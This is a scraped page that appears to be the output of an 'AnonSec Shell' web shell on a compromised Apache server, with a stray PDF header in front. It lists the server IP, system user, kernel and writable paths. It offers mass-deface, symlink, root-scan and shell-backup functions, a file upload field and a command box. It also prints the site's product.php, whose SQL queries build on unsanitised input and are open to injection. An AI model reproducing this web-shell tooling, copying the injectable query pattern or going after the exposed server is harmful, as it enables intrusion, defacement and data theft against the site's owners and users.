%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.24   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/product.php
<?php

include('lib/include.php');



$product_result = $ceha->query("SELECT * FROM tbl_product WHERE id='$seo_id' AND active='1' ORDER BY id");

$product = $product_result->fetch_assoc();



$category_result = $ceha->query("SELECT * FROM tbl_product_category WHERE id='" . $product['category_id'] . "' AND active='1'");

$category = $category_result->fetch_assoc();



$parent_category_result = $ceha->query("SELECT * FROM tbl_product_category WHERE id='" . $category['parent_id'] . "' AND active='1'");

$parent_category = $parent_category_result->fetch_assoc();



$product_properties_result = $ceha->query("SELECT * FROM tbl_product_properties WHERE product_id='" . $product['id'] . "' AND active='1' ORDER BY id");



$product_gallery_result = $ceha->query("SELECT * FROM tbl_product_gallery WHERE product_id='" . $product['id'] . "' AND active='1' ORDER BY sequence");





$product_variation_result = $ceha->query("SELECT * FROM tbl_product_variation WHERE product_id='" . $product['id'] . "' AND active='1' ORDER BY sequence LIMIT 1");

$variation = $product_variation_result->fetch_assoc();

$product_variations_result1 = $ceha->query("SELECT * FROM tbl_product_variation WHERE product_id='" . $product['id'] . "' AND active='1' ORDER BY sequence");

$product_variations_result2 = $ceha->query("SELECT * FROM tbl_product_variation WHERE product_id='" . $product['id'] . "' AND active='1' ORDER BY sequence");

$product_variations_image_result = $ceha->query("SELECT * FROM tbl_product_image WHERE variation_id='" . $variation['id'] . "' AND active='1' ORDER BY sequence");

$product_tech_detail_result = $ceha->query("SELECT * FROM tbl_product_tech_detail WHERE variation_id='" . $variation['id'] . "' AND active='1' ORDER BY id");



$product_icon_result = $ceha->query("SELECT * FROM tbl_product_icons p,`tbl_icons` i WHERE product_id='" . $product['id'] . "' AND p.active='1' AND i.active='1' AND icon_id=i.id");





include('header.php');

?>



<main id="content" class="bg-white">

	<section class="position-relative gallery-product-page-02 overflow-hidden bg-color-3">

		<div class="container">

			<div class="row align-items-center">

				<div class="col-md-7 product-details">

					<div class="card border-0">

						<div class="card-body px-5 pt-5 pb-8">

							<p class="product-category">

							<nav aria-label="breadcrumb">

								<ol class="breadcrumb py-0">

									<li class="breadcrumb-item"><a href="<?php echo $page_url[1]; ?>"><?php echo $variable[18]; ?></a></li>

									<li class="breadcrumb-item"><a href="<?php echo $page_url[6]; ?>/<?php echo $parent_category['id']; ?>"><?php echo $parent_category['title_' . $lang]; ?></a></li>

									<li class="breadcrumb-item active" aria-current="page"><?php echo $category['title_' . $lang]; ?></li>

								</ol>

							</nav>

							</p>

							<h2 class="product-name mb--30"><?php echo $product['title_' . $lang]; ?></h2>

							<h3 class="sub-title fs-16"><?php echo $variable[34]; ?></h3>

							<?php while ($product_properties = $product_properties_result->fetch_assoc()) { ?>

								<h6><?php echo $product_properties['title_' . $lang]; ?></h6>

								<div class="product-colors">

									<?php

									$product_properties_detail_result = $ceha->query("SELECT * FROM tbl_product_properties_detail WHERE properties_id='" . $product_properties['id'] . "' AND active='1' ORDER BY id");

									while ($product_properties_detail = $product_properties_detail_result->fetch_assoc()) {

										$color_result = $ceha->query("SELECT * FROM tbl_product_colors WHERE id='" . $product_properties_detail['color_id'] . "' AND active='1'");

										$color = $color_result->fetch_assoc();

										if ($color['type'] == 1) {

											$bg = "background-color: " . $color['content'] . ";";
										} else {

											$bg = "background-image: url(" . $color['content'] . ");";
										}

									?>

										<a style="<?php echo $bg; ?>"><span class="mt--35"><?php echo $color['title_' . $lang]; ?></span></a>

									<?php } ?>

								</div>

							<?php } ?>



							<a class="lookingColor" data-toggle="modal" data-target="#productLookingColorModal"><?php echo $variable[35]; ?></a>



							<h3 class="sub-title fs-16"><?php echo $product['serie_name_' . $lang]; ?></h3>

							<div class="product-variations">

								<?php

								$i = 1;

								while ($product_variation = $product_variations_result1->fetch_assoc()) {

								?>

									<a class="<?php if ($i == 1) {
													echo "active";
												} ?>" id="varVal<?php echo $product_variation['id']; ?>" data-val="<?php echo $product_variation['id']; ?>"><span><?php echo $product_variation['title_' . $lang]; ?></span></a>

								<?php

									$i = $i + 1;
								}

								?>

							</div>



							<?php

							if ($product['file_url_' . $lang] == "" or $product['file_url_' . $lang] == NULL) {

								$href = "";
							} else {

								$href = "href='" . $product['file_url_' . $lang] . "'";
							}

							?>



							<a <?php echo $href; ?> target="_blank" class="btn btn-outline-primary mb-2 mr-3"><?php echo $variable[36]; ?> <span class="d-inline-block ml-2"><i class="fal fa-arrow-down"></i></span></a>

							<a href="<?php echo $page_url[5]; ?>" class="btn btn-primary mb-2"><?php echo $variable[37]; ?></a>



						</div>

					</div>

				</div>

				<div class="col-md-5 product-gallery">

					<div id="product-gallery" class="slick-slider dots-inner-center" data-slick-options='{"slidesToShow": 1,"infinite":true,"autoplay":true,"dots":false,"arrows":true}'>

						<?php while ($product_variations_image = $product_variations_image_result->fetch_assoc()) { ?>

							<div class="box">

								<div class="row">
									<?php
									if ($product_variations_image['image_url'] == "" or $product_variations_image['image_url'] == NULL) {
										$pro_var_img = "images/product/default-product-image.png";
									} else {
										$pro_var_img = $product_variations_image['image_url'];
									}
									?>
									<div class="img" style="background-image: url(<?php echo $pro_var_img; ?>);"></div>
									<!--<img src="<?php echo $pro_var_img; ?>">-->
								</div>

							</div>

						<?php } ?>

					</div>

					<div class="product-icons">

						<?php

						while ($product_icon = $product_icon_result->fetch_assoc()) {   ?>

							<div class="image" style="background-image: url('<?php echo $product_icon['image_url']; ?>');" data-toggle="tooltip" data-placement="bottom" title="<?php echo $product_icon['title_tr']; ?>"></div>

						<?php

						}

						?>

					</div>

				</div>

			</div>

		</div>

	</section>
	<!--        <section class=" product-video-section">-->
	<!--            <div class="container">-->
	<!--                <div class="product-video">-->
	<!--                    <iframe src="https://www.youtube.com/embed/K00a1ZaVvCg?rel=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>-->
	<!--                </div>-->
	<!--            </div>-->
	<!---->
	<!--        </section>-->

	<section class="py-11 py-lg-13 product-gallery-section">

		<div class="container">

			<div class="row align-items-center">

				<div class="col-md-7 col-12 showroom-gallery">

					<div class="slick-slider dots-inner-center" data-slick-options='{"slidesToShow": 1,"infinite":true,"autoplay":false,"dots":false,"arrows":true}'>

						<?php while ($product_gallery = $product_gallery_result->fetch_assoc()) { ?>

							<div class="box">

								<div class="row justify-content-center"><img src="<?php echo $product_gallery['image_url']; ?>"></div>

							</div>

						<?php } ?>

					</div>

				</div>

				<div class="col-md-5 col-12 pl-10 tech-details">

					<h2 class="product-name mb--5"><?php echo $product['title_' . $lang]; ?></h2>

					<h3 class="sub-title fs-24 mb--20"><?php echo $variable[41]; ?></h3>

					<?php echo $product['features_' . $lang]; ?>

				</div>

			</div>

		</div>

	</section>



	<section class="py-11 py-lg-13">

		<div class="container">

			<div class="row align-items-center">

				<div class="col-md-5 col-sm-12">

					<h2 class="mb--10"><?php echo $variable[38]; ?></h2>

					<p><?php echo $variable[39]; ?></p>

				</div>

				<div class="col-md-3 offset-md-1 col-sm-6 tech-image text-center">

					<!--<img id="tech-image" src="<?php echo $variation['tech_image_url']; ?>">-->
					<div class="img" id="tech-image" style="background-image: url(<?php echo $variation['tech_image_url']; ?>)"></div>

				</div>

				<div class="col-md-3 col-sm-6 tech-details d-flex justify-content-center">

					<table id="tech-detail-table">

						<tr>

							<td><?php echo $variable[40]; ?></td>

							<td><?php echo $variation['title_' . $lang]; ?></td>

						</tr>

						<?php while ($product_tech_detail = $product_tech_detail_result->fetch_assoc()) { ?>

							<tr>

								<td><?php echo $product_tech_detail['title_' . $lang]; ?></td>

								<td><?php echo $product_tech_detail['content_' . $lang]; ?></td>

							</tr>

						<?php } ?>

					</table>

				</div>

			</div>

			<div class="row mt--50">

				<div class="col-12 tech-gallery">

					<div class="slick-slider dots-inner-center custom-slider-03" data-slick-options=''>

						<?php

						$i = 1;

						while ($product_variation = $product_variations_result2->fetch_assoc()) {

							if ($product_variation['tech_image_url'] == "" || $product_variation['tech_image_url'] == NULL) {

								$img = "";
							} else {

								$img = "<img src=" . $product_variation['tech_image_url'] . ">";
							}

						?>

							<div class="box">

								<div class="row justify-content-center <?php if ($i == 1) {
																			echo "active";
																		} ?>">
									<a id="galVal<?php echo $product_variation['id']; ?>" data-val="<?php echo $product_variation['id']; ?>">
										<?php echo $img; ?>
										<p><?php echo $product_variation['title_' . $lang]; ?></p>
									</a>
								</div>

							</div>

						<?php

							$i = $i + 1;
						}

						?>

					</div>

				</div>

			</div>

		</div>

	</section>



	<section class="py-7 py-lg-10 bg-color-3" style="display: none">

		<div class="container">

			<div class="row justify-content-center">

				<div class="product-content">

					<?php echo $product['features_' . $lang]; ?>

				</div>

			</div>

		</div>

	</section>






</main>



<div class="modal fade" id="productLookingColorModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" style="display: none;" aria-hidden="true">

	<div class="modal-dialog modal-lg" role="document">

		<form action="product-looking.php?product_id=<?php echo $seo_id; ?>" method="post" enctype="multipart/form-data" class="forms-sample">

			<div class="modal-content">

				<div class="modal-body">

					<div class="row">

						<div class="title">

							<h4><?php echo $variable[42]; ?></h4>

						</div>

						<button type="button" class="close" data-dismiss="modal" aria-label="Close">

							<span aria-hidden="true">×</span>

						</button>

					</div>



					<div class="row">

						<ul class="nav nav-tabs" role="tablist">

							<li class="nav-item">

								<a class="nav-link active" id="tab1-tab" data-toggle="tab" href="#tab1" role="tab" aria-controls="tab1" aria-selected="true"><?php echo $variable[43]; ?></a>

							</li>

							<li class="nav-item">

								<a class="nav-link" id="tab2-tab" data-toggle="tab" href="#tab2" role="tab" aria-controls="tab2" aria-selected="false"><?php echo $variable[44]; ?></a>

							</li>

						</ul>

						<div class="tab-content">

							<div class="tab-pane fade show active" id="tab1" role="tabpanel" aria-labelledby="tab1-tab">

								<div class="row body-color">

									<?php

									$filter_color_result1 = $ceha->query("SELECT * FROM tbl_product_colors WHERE active='1' ORDER BY id");

									while ($filter_color = $filter_color_result1->fetch_assoc()) {

										if ($filter_color['type'] == 1) {

											$bg = "background-color: " . $filter_color['content'] . ";";
										} else {

											$bg = "background-image: url(" . $filter_color['content'] . ");";
										}

									?>

										<a class="bodycolor<?php echo $filter_color['id']; ?>" style="<?php echo $bg; ?>" data-val="<?php echo $filter_color['id']; ?>"><span><?php echo $filter_color['title_' . $lang]; ?></span></a>

									<?php } ?>

								</div>

							</div>

							<div class="tab-pane fade" id="tab2" role="tabpanel" aria-labelledby="tab2-tab">

								<div class="row foot-color">

									<?php

									$filter_color_result1 = $ceha->query("SELECT * FROM tbl_product_colors WHERE active='1' ORDER BY id");

									while ($filter_color = $filter_color_result1->fetch_assoc()) {

										if ($filter_color['type'] == 1) {

											$bg = "background-color: " . $filter_color['content'] . ";";
										} else {

											$bg = "background-image: url(" . $filter_color['content'] . ");";
										}

									?>

										<a class="footcolor<?php echo $filter_color['id']; ?>" style="<?php echo $bg; ?>" data-val="<?php echo $filter_color['id']; ?>"><span><?php echo $filter_color['title_' . $lang]; ?></span></a>

									<?php } ?>

								</div>

							</div>

						</div>





					</div>



					<div class="row">

						<div class="title">

							<h4><?php echo $variable[45]; ?></h4>

						</div>

					</div>



					<div class="row">

						<h4 class="looking-serie"><?php echo $product['serie_name_' . $lang]; ?></h4>

					</div>

					<div class="row looking-filters d-flex flex-column">

						<div class="body-filters d-flex flex-wrap">

							<div class="filter-title">

								<p><?php echo $variable[43]; ?>:</p>

							</div>

						</div>

						<div class="foot-filters d-flex flex-wrap">

							<div class="filter-title">

								<p><?php echo $variable[44]; ?>:</p>

							</div>

						</div>

					</div>

					<div class="row">



						<input type="hidden" class="form-control" id="bodyColorInput" name="bodyColorInput" value="">

						<input type="hidden" class="form-control" id="footColorInput" name="footColorInput" value="">

						<div class="col-md-6">

							<div class="form-group">

								<label><?php echo $variable[22]; ?> *</label>

								<input type="text" class="form-control" name="name">

							</div>

						</div>

						<div class="col-md-6">

							<div class="form-group">

								<label><?php echo $variable[17]; ?></label>

								<input type="text" class="form-control" name="email">

							</div>

						</div>

						<div class="col-md-12">

							<div class="form-group">

								<label><?php echo $variable[24]; ?></label>

								<textarea class="form-control" name="message" rows="6"></textarea>

							</div>

						</div>

						<div class="col-md-12">

							<button type="submit" class="btn btn-primary btn-block mb--20"><i class="fa fa-envelope"></i> <?php echo $variable[46]; ?></button>

						</div>

					</div>



				</div>

			</div>

		</form>

	</div>

</div>



<?php include('footer.php'); ?>

Anon7 - 2022
AnonSec Team